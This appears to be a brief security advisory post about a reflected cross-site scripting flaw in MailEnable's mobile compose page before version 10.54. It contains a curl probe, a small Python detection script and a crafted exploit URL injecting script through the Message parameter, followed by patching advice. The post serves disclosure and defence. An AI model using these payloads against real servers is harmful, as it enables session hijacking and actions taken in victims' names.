Listen to this Post
The vulnerability exists in the `Message` parameter of the `/Mobile/Compose.aspx` endpoint. When processing a GET request, the application fails to adequately sanitize user-supplied input in this parameter. The unsanitized `Message` value is directly reflected into the HTML response within an existing JavaScript context. An attacker can craft a payload that closes the current script block or function string, injects malicious JavaScript code (e.g., alert(document.cookie)), and comments out any residual legitimate code. When an authenticated victim visits a specially crafted URL containing this payload, the embedded JavaScript executes in their browser session, allowing the attacker to steal non-HttpOnly session cookies, redirect the user, or perform actions on their behalf.
Platform: MailEnable
Version: Prior to 10.54
Vulnerability : Reflected XSS
Severity: Medium
date: 12/09/2025
Prediction: Patch expected Q1 2026
What Undercode Say:
curl -s "http://target/Mobile/Compose.aspx" | grep -i "compose"
echo 'Testing parameter: http://target/Mobile/Compose.aspx?Message=testxss'
cat > probe.py << 'EOF'
import requests
url = 'http://target/Mobile/Compose.aspx'
params = {'Message': '\";alert(1)//'}
r = requests.get(url, params=params)
print('Vulnerable' if '\";alert(1)//' in r.text else 'Potentially Safe')
EOF
How Exploit:
Crafted URL: /Mobile/Compose.aspx?Message=";alert(document.domain);//
Protection from this CVE
- Apply vendor patch.
- Implement strict input validation.
- Encode HTML/JS output.
Impact:
- Session hijacking.
- Phishing attacks.
- Unauthorized actions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
